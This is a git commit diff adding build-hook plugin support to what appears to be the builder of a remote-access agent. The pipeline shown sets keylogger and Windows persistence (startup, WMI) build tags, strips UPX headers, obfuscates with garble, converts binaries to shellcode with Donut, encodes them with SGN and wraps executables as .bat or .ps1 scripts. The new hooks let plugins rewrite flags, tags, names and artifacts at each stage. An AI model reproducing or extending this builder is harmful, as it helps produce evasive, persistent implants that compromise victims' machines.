build hook plugins

This commit is contained in:
KingKDot
2026-06-22 12:54:12 -05:00
parent 6180e7f1a2
commit 7aaf115e2f
20 changed files with 1857 additions and 81 deletions
+580 -4
View File
@@ -122,8 +122,110 @@ type BuildProcessConfig = {
iosBundleId?: string;
fetchPublicIP?: boolean;
uploadToFileShare?: boolean;
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
};
type BuildHookRunner = (
hook: string,
payload: unknown,
) => Promise<Array<{ pluginId: string; result: unknown }>>;
type BuildHookMessage = {
text: string;
level?: "debug" | "info" | "warn" | "error" | "success";
};
function cloneForHook<T>(value: T): T {
return JSON.parse(JSON.stringify(value ?? null));
}
function isRecord(value: unknown): value is Record<string, any> {
return !!value && typeof value === "object" && !Array.isArray(value);
}
function normalizeHookMessages(result: unknown): BuildHookMessage[] {
if (!isRecord(result)) return [];
const rawMessages = Array.isArray(result.messages)
? result.messages
: typeof result.message === "string"
? [result.message]
: [];
const messages: BuildHookMessage[] = [];
for (const raw of rawMessages) {
if (typeof raw === "string" && raw.trim()) {
messages.push({ text: raw.trim(), level: "info" });
} else if (isRecord(raw) && typeof raw.text === "string" && raw.text.trim()) {
const level = typeof raw.level === "string" ? raw.level : "info";
messages.push({
text: raw.text.trim(),
level: ["debug", "info", "warn", "error", "success"].includes(level) ? level as BuildHookMessage["level"] : "info",
});
}
}
return messages;
}
async function runBuildHooks(
hookRunner: BuildHookRunner | undefined,
hook: string,
payload: unknown,
sendToStream: (data: any) => void,
): Promise<Array<{ pluginId: string; result: unknown }>> {
if (!hookRunner) return [];
const results = await hookRunner(hook, cloneForHook(payload));
for (const item of results) {
for (const message of normalizeHookMessages(item.result)) {
sendToStream({
type: "output",
text: `[plugin:${item.pluginId}] ${message.text}\n`,
level: message.level || "info",
});
}
}
return results;
}
function mergeBuildConfigPatch(config: BuildProcessConfig, result: unknown): BuildProcessConfig {
if (!isRecord(result)) return config;
const patch = isRecord(result.config) ? result.config : isRecord(result.configPatch) ? result.configPatch : undefined;
if (!patch) return config;
return { ...config, ...patch };
}
function buildTransformHookPayload(args: {
buildId: string;
stage: string;
platform: string;
os: string;
arch: string;
targetKey: string;
outDir: string;
clientDir: string;
filename: string;
filePath: string;
size?: number;
config: BuildProcessConfig;
extra?: Record<string, unknown>;
}) {
return {
buildId: args.buildId,
stage: args.stage,
platform: args.platform,
os: args.os,
arch: args.arch,
targetKey: args.targetKey,
outDir: args.outDir,
clientDir: args.clientDir,
file: {
filename: args.filename,
path: args.filePath,
platform: args.platform,
size: args.size ?? (fs.existsSync(args.filePath) ? fs.statSync(args.filePath).size : 0),
},
config: args.config,
...(args.extra || {}),
};
}
function stripUpxHeaders(filePath: string): boolean {
try {
@@ -154,6 +256,7 @@ type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
fileShareRoot?: string;
runBuildHookForAll?: BuildHookRunner;
};
function guessMimeTypeForUpload(filename: string): string {
@@ -384,6 +487,15 @@ export async function startBuildProcess(
}, BUILD_STREAM_HEARTBEAT_MS);
try {
for (const item of await runBuildHooks(
deps.runBuildHookForAll,
"prepare",
{ buildId, config },
sendToStream,
)) {
config = mergeBuildConfigPatch(config, item.result);
}
const serverConfig = getConfig();
const buildAgentToken = (serverConfig.auth.agentToken || "").trim();
@@ -809,10 +921,10 @@ func runBoundFiles() {
const namePrefix = config.outputName || "agent";
const winExt = config.outputExtension || ".exe";
const buildSlug = buildId.substring(0, 8);
const friendlyOutputName = deps.sanitizeOutputName(
let friendlyOutputName = deps.sanitizeOutputName(
platform.includes("windows") ? `${namePrefix}-${platform}${winExt}` : `${namePrefix}-${platform}`,
);
const outputName = deps.sanitizeOutputName(
let outputName = deps.sanitizeOutputName(
platform.includes("windows") ? `${namePrefix}-${platform}-${buildSlug}${winExt}` : `${namePrefix}-${platform}-${buildSlug}`,
);
@@ -1084,7 +1196,7 @@ func runBoundFiles() {
}
// Base tags: always present regardless of build pass
const baseTags: string[] = [];
let baseTags: string[] = [];
if (config.noPrinting) baseTags.push("noprint");
if (config.disableKeylogger) baseTags.push("nokeylogger");
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
@@ -1095,7 +1207,7 @@ func runBoundFiles() {
if (config.fetchPublicIP) baseTags.push("fetch_public_ip");
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
const winPersistTags: string[] = [];
let winPersistTags: string[] = [];
if (config.enablePersistence && os === "windows" && !isShellcodeMode) {
const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"];
if (methods.includes("startup")) winPersistTags.push("persist_startup");
@@ -1104,6 +1216,73 @@ func runBoundFiles() {
if (methods.includes("wmi")) winPersistTags.push("persist_wmi");
}
let skipTarget = false;
const targetHookPayload = {
buildId,
platform,
os,
arch: actualArch,
effectiveOs,
targetKey,
outputName,
friendlyOutputName,
outputPath: path.join(outDir, outputName),
outDir,
clientDir,
env,
ldflags,
tags: [...baseTags, ...winPersistTags],
baseTags,
persistenceTags: winPersistTags,
garbleFlags,
config,
};
for (const item of await runBuildHooks(deps.runBuildHookForAll, "target", targetHookPayload, sendToStream)) {
if (!isRecord(item.result)) continue;
if (item.result.skip === true) {
skipTarget = true;
}
if (isRecord(item.result.env)) {
for (const [key, value] of Object.entries(item.result.env)) {
if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(key) && value !== null && value !== undefined) {
env[key] = String(value);
}
}
}
if (typeof item.result.ldflags === "string") {
ldflags = item.result.ldflags;
}
if (typeof item.result.ldflagsAppend === "string" && item.result.ldflagsAppend.trim()) {
ldflags = ldflags ? `${ldflags} ${item.result.ldflagsAppend.trim()}` : item.result.ldflagsAppend.trim();
}
if (Array.isArray(item.result.removeTags)) {
const remove = new Set(item.result.removeTags.filter((tag: unknown) => typeof tag === "string"));
baseTags = baseTags.filter((tag) => !remove.has(tag));
winPersistTags = winPersistTags.filter((tag) => !remove.has(tag));
}
if (Array.isArray(item.result.tags)) {
baseTags = item.result.tags.filter((tag: unknown) => typeof tag === "string" && tag.trim()).map((tag: string) => tag.trim());
winPersistTags = [];
}
if (Array.isArray(item.result.addTags)) {
for (const tag of item.result.addTags) {
if (typeof tag === "string" && tag.trim() && !baseTags.includes(tag.trim())) {
baseTags.push(tag.trim());
}
}
}
if (typeof item.result.outputName === "string" && item.result.outputName.trim()) {
outputName = deps.sanitizeOutputName(item.result.outputName.trim());
}
if (typeof item.result.friendlyOutputName === "string" && item.result.friendlyOutputName.trim()) {
friendlyOutputName = deps.sanitizeOutputName(item.result.friendlyOutputName.trim());
}
}
if (skipTarget) {
sendToStream({ type: "output", text: `Skipping ${platform}; requested by server plugin hook.\n`, level: "warn" });
continue;
}
const runBuild = async (tags: string[], outputPath: string) => {
const buildArgs: string[] = [];
if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));
@@ -1159,12 +1338,51 @@ func runBoundFiles() {
const filePath = `${outDir}/${outputName}`;
let finalSize = Bun.file(filePath).size;
await runBuildHooks(
deps.runBuildHookForAll,
"post_build",
buildTransformHookPayload({
buildId,
stage: "post_build",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: outputName,
filePath,
size: finalSize,
config,
}),
sendToStream,
);
// For script outputs: go build writes a PE binary; UPX must run first (it needs PE format),
// then after compression we wrap it in a script with an embedded base64 payload.
const isBatchWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
const isPowerShellWrapper = os === "windows" && winExt === ".ps1";
if (upxBin) {
await runBuildHooks(
deps.runBuildHookForAll,
"before_upx",
buildTransformHookPayload({
buildId,
stage: "before_upx",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: outputName,
filePath,
size: finalSize,
config,
extra: { upxBin },
}),
sendToStream,
);
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
const originalSize = finalSize;
try {
@@ -1190,9 +1408,49 @@ func runBoundFiles() {
} catch (upxErr: any) {
sendToStream({ type: "output", text: `WARNING: UPX failed: ${upxErr.message || upxErr}\n`, level: "warn" });
}
await runBuildHooks(
deps.runBuildHookForAll,
"after_upx",
buildTransformHookPayload({
buildId,
stage: "after_upx",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: outputName,
filePath,
size: finalSize,
config,
extra: { upxBin, originalSize },
}),
sendToStream,
);
}
if (isBatchWrapper || isPowerShellWrapper) {
await runBuildHooks(
deps.runBuildHookForAll,
"before_script_wrapper",
buildTransformHookPayload({
buildId,
stage: "before_script_wrapper",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: outputName,
filePath,
size: finalSize,
config,
extra: { extension: winExt },
}),
sendToStream,
);
sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" });
try {
const exeBytes = fs.readFileSync(filePath);
@@ -1252,10 +1510,49 @@ func runBoundFiles() {
} catch (wrapErr: any) {
sendToStream({ type: "output", text: `WARNING: Failed to generate ${winExt} wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
}
await runBuildHooks(
deps.runBuildHookForAll,
"after_script_wrapper",
buildTransformHookPayload({
buildId,
stage: "after_script_wrapper",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: outputName,
filePath,
size: finalSize,
config,
extra: { extension: winExt },
}),
sendToStream,
);
}
// ── IPA packaging for iOS targets ──────────────────────────────────────
if (os === "ios") {
await runBuildHooks(
deps.runBuildHookForAll,
"before_ipa",
buildTransformHookPayload({
buildId,
stage: "before_ipa",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: outputName,
filePath,
size: finalSize,
config,
}),
sendToStream,
);
sendToStream({ type: "output", text: `Packaging ${outputName} as IPA...\n`, level: "info" });
try {
const appName = config.outputName || "Agent";
@@ -1355,6 +1652,27 @@ func runBoundFiles() {
// Clean up temp dirs
fs.rmSync(ipaWorkDir, { recursive: true, force: true });
await runBuildHooks(
deps.runBuildHookForAll,
"after_ipa",
buildTransformHookPayload({
buildId,
stage: "after_ipa",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: ipaOutputName,
filePath: ipaPath,
size: finalSize,
config,
extra: { inputFilename: outputName },
}),
sendToStream,
);
// Push IPA file entry instead of raw binary
(build.files as any[]).push({
name: ipaOutputName.replace(`-${buildSlug}`, ""),
@@ -1387,6 +1705,26 @@ func runBoundFiles() {
const scOutputName = deps.sanitizeOutputName(outputName.replace(/\.[^.]+$/, ".bin"));
const binPath = path.join(outDir, scOutputName);
const donutArch = (actualArch === "386" ? "386" : "amd64") as "386" | "amd64";
await runBuildHooks(
deps.runBuildHookForAll,
"before_donut",
buildTransformHookPayload({
buildId,
stage: "before_donut",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath,
size: finalOutputSize,
config,
extra: { outputFilename: scOutputName, outputPath: binPath, donutArch },
}),
sendToStream,
);
const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
try { fs.unlinkSync(filePath); } catch {}
@@ -1394,6 +1732,26 @@ func runBoundFiles() {
finalOutputSize = Bun.file(binPath).size;
shellcodeBinPath = binPath;
shellcodeArch = donutArch;
await runBuildHooks(
deps.runBuildHookForAll,
"after_donut",
buildTransformHookPayload({
buildId,
stage: "after_donut",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath: binPath,
size: finalOutputSize,
config,
extra: { inputFilename: outputName, donutArch },
}),
sendToStream,
);
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
}
@@ -1403,6 +1761,26 @@ func runBoundFiles() {
sendToStream({ type: "output", text: `\nWrapping ELF with Linux shellcode stub...\n`, level: "info" });
const scOutputName = deps.sanitizeOutputName(outputName + ".bin");
const binPath = path.join(outDir, scOutputName);
await runBuildHooks(
deps.runBuildHookForAll,
"before_linux_shellcode",
buildTransformHookPayload({
buildId,
stage: "before_linux_shellcode",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath,
size: finalOutputSize,
config,
extra: { outputFilename: scOutputName, outputPath: binPath },
}),
sendToStream,
);
const ok = buildLinuxShellcode(filePath, binPath, sendToStream);
if (!ok) throw new Error(`Linux shellcode wrap failed for ${platform}`);
try { fs.unlinkSync(filePath); } catch {}
@@ -1410,6 +1788,26 @@ func runBoundFiles() {
finalOutputSize = Bun.file(binPath).size;
shellcodeBinPath = binPath;
shellcodeArch = "amd64";
await runBuildHooks(
deps.runBuildHookForAll,
"after_linux_shellcode",
buildTransformHookPayload({
buildId,
stage: "after_linux_shellcode",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath: binPath,
size: finalOutputSize,
config,
extra: { inputFilename: outputName },
}),
sendToStream,
);
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
}
@@ -1419,27 +1817,172 @@ func runBoundFiles() {
sendToStream({ type: "output", text: `\nEncoding shellcode with SGN (${iters} iteration${iters === 1 ? "" : "s"})...\n`, level: "info" });
const sgnOutputName = deps.sanitizeOutputName(finalOutputName + ".sgn");
const sgnOutputPath = path.join(outDir, sgnOutputName);
await runBuildHooks(
deps.runBuildHookForAll,
"before_sgn",
buildTransformHookPayload({
buildId,
stage: "before_sgn",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath: shellcodeBinPath,
size: finalOutputSize,
config,
extra: { outputFilename: sgnOutputName, outputPath: sgnOutputPath, shellcodeArch, iterations: iters },
}),
sendToStream,
);
const ok = await runSgn(shellcodeBinPath, sgnOutputPath, shellcodeArch, iters, sendToStream);
if (!ok) throw new Error(`SGN encoding failed for ${platform}`);
try { fs.unlinkSync(shellcodeBinPath); } catch {}
finalOutputName = sgnOutputName;
finalOutputSize = Bun.file(sgnOutputPath).size;
shellcodeBinPath = sgnOutputPath;
await runBuildHooks(
deps.runBuildHookForAll,
"after_sgn",
buildTransformHookPayload({
buildId,
stage: "after_sgn",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath: sgnOutputPath,
size: finalOutputSize,
config,
extra: { shellcodeArch, iterations: iters },
}),
sendToStream,
);
sendToStream({ type: "output", text: `SGN-encoded shellcode: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
if (config.outputSgnTxt) {
sendToStream({ type: "status", text: `Writing ${platform} SGN output as TXT…` });
const txtOutputName = deps.sanitizeOutputName(`${finalOutputName}.txt`);
const txtOutputPath = path.join(outDir, txtOutputName);
await runBuildHooks(
deps.runBuildHookForAll,
"before_sgn_txt",
buildTransformHookPayload({
buildId,
stage: "before_sgn_txt",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath: sgnOutputPath,
size: finalOutputSize,
config,
extra: { outputFilename: txtOutputName, outputPath: txtOutputPath, shellcodeArch, iterations: iters },
}),
sendToStream,
);
const txtSize = writeSgnTextArtifact(sgnOutputPath, txtOutputPath, platform, shellcodeArch, iters);
try { fs.unlinkSync(sgnOutputPath); } catch {}
finalOutputName = txtOutputName;
finalOutputSize = txtSize;
shellcodeBinPath = txtOutputPath;
await runBuildHooks(
deps.runBuildHookForAll,
"after_sgn_txt",
buildTransformHookPayload({
buildId,
stage: "after_sgn_txt",
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
filename: finalOutputName,
filePath: txtOutputPath,
size: finalOutputSize,
config,
extra: { shellcodeArch, iterations: iters },
}),
sendToStream,
);
sendToStream({ type: "output", text: `SGN TXT ready: ${txtSize} bytes → ${finalOutputName}\n`, level: "success" });
}
}
const extraArtifactFiles: any[] = [];
const artifactHookPayload = {
buildId,
platform,
os,
arch: actualArch,
targetKey,
outDir,
clientDir,
file: {
name: finalOutputName.replace(`-${buildSlug}`, ""),
filename: finalOutputName,
path: path.join(outDir, finalOutputName),
platform,
version: agentVersion,
size: finalOutputSize,
},
files: cloneForHook(build.files),
config,
};
for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactHookPayload, sendToStream)) {
if (!isRecord(item.result)) continue;
const replacement = isRecord(item.result.file) ? item.result.file : item.result;
if (typeof replacement.filename === "string" && replacement.filename.trim()) {
const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
const candidatePath = resolveContainedPath(outDir, safeFilename);
if (fs.existsSync(candidatePath)) {
finalOutputName = safeFilename;
finalOutputSize = fs.statSync(candidatePath).size;
} else {
sendToStream({
type: "output",
text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalOutputName}\n`,
level: "warn",
});
}
}
if (typeof replacement.size === "number" && Number.isFinite(replacement.size) && replacement.size >= 0) {
finalOutputSize = Math.floor(replacement.size);
}
if (Array.isArray(item.result.files)) {
for (const f of item.result.files) {
if (!isRecord(f) || typeof f.filename !== "string" || !f.filename.trim()) continue;
const safeFilename = deps.sanitizeOutputName(path.basename(f.filename.trim()));
const candidatePath = resolveContainedPath(outDir, safeFilename);
if (!fs.existsSync(candidatePath)) {
sendToStream({
type: "output",
text: `[plugin:${item.pluginId}] WARNING: extra artifact not found: ${safeFilename}\n`,
level: "warn",
});
continue;
}
const stat = fs.statSync(candidatePath);
extraArtifactFiles.push({
name: typeof f.name === "string" && f.name.trim() ? f.name.trim() : safeFilename,
filename: safeFilename,
platform: typeof f.platform === "string" ? f.platform : platform,
version: typeof f.version === "string" ? f.version : agentVersion,
size: stat.size,
});
}
}
}
(build.files as any[]).push({
name: finalOutputName.replace(`-${buildSlug}`, ""),
filename: finalOutputName,
@@ -1447,6 +1990,7 @@ func runBoundFiles() {
version: agentVersion,
size: finalOutputSize,
});
(build.files as any[]).push(...extraArtifactFiles);
} catch (err: any) {
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;
logger.error(`[build:${buildId.substring(0, 8)}] ${errorMsg.trim()}`);
@@ -1483,6 +2027,21 @@ func runBoundFiles() {
});
}
await runBuildHooks(
deps.runBuildHookForAll,
"complete",
{
buildId,
status: build.status,
files: build.files,
outputDir: outDir,
expiresAt: build.expiresAt,
userId: config.builtByUserId,
config,
},
sendToStream,
);
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({
@@ -1502,6 +2061,23 @@ func runBoundFiles() {
} catch (err: any) {
build.status = "failed";
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
try {
await runBuildHooks(
deps.runBuildHookForAll,
"failed",
{
buildId,
status: build.status,
error: err?.message || String(err),
files: build.files,
userId: config.builtByUserId,
config,
},
sendToStream,
);
} catch (hookErr) {
logger.warn(`[build:${buildId.substring(0, 8)}] failed hook error:`, hookErr);
}
sendToStream({ type: "error", error: err.message || String(err) });
sendToStream({ type: "complete", success: false, buildId });